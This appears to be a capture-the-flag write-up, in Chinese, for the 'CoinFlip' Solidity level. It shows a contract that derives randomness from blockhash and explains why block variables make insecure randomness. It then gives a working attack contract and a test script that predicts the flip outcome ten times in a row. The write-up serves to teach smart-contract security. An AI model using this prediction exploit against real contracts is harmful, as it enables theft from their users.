LEVEL 3 (CoinFlip)
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
通关要求
consecutiveWins = 10
要点
- 合约的存储变量,包含private,对外都是可见的,例如通过 web3.eth.getStorageAt(address, position)查看 具体变量在哪个position,会根据变量类型计算,不是按变量顺序123,可能被压缩 参考: https://docs.soliditylang.org/en/v0.8.14/internals/layout_in_storage.html
- 不要根据block变量来做随机的依据(包括number/timestamp等等),这些都是不安全的
解题思路
直接复制代码,生成guess
contracts/03CoinFlipRun.sol
interface ILevel {
function flip(bool _guess) external returns (bool);
}
contract CoinFlipRun {
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function run(address _levelAddress) external {
//从原合约复制过来的代码
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue/FACTOR;
bool side = coinFlip == 1 ? true : false;
ILevel(_levelAddress).flip(side);
}
}
注意不要在soldity循环10次,要多次事务调用
test/03CoinFlip.js
it("attacks", async function () {
for (let i = 0; i < 10; i++) {
await runContract.run(levelContract.address);
}
});
Top comments (0)